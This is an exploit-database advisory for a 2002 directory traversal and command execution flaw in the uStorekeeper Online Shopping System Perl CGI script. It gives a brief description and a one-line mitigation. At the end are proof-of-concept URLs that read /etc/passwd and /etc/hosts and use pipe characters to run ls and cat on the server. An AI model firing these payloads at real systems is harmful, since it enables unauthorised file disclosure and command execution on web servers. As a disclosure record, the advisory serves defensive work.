uStorekeeper Online Shopping System Arbitrary File Access Vulnerability

vendor:

uStorekeeper Online Shopping System

by:

SecurityFocus

7,5

CVSS

HIGH

Arbitrary File Access

CWE

Product Name: uStorekeeper Online Shopping System

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

uStorekeeper Online Shopping System Arbitrary File Access Vulnerability

uStorekeeper Online Shopping System from Microburst Technologies fails to properly validate user-supplied input, allowing remote users to submit URLs containing '/../' sequences and arbitrary filenames or commands, which will be executed or displayed with the privilege level of the webserver user. This permits the remote user to request files and execute commands from arbitrary locations on the host filesystem, outside the script's normal directory scope.

Mitigation:

Validate user input and restrict access to files and directories.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2536/info

A vulnerability exists in versions of uStorekeeper Online Shopping System from Microburst Technologies.

The script fails to properly validate user-supplied input, allowing remote users to submit URLs containing '/../' sequences and arbitrary filenames or commands, which will be executed or displayed with the privilege level of the webserver user.

This permits the remote user to request files and execute commands from arbitrary locations on the host filesystem, outside the script's normal directory scope.

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/hosts

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../bin/ls |

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd

http://www.example .com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../.
./../../../../bin/cat%20ustorekeeper.pl|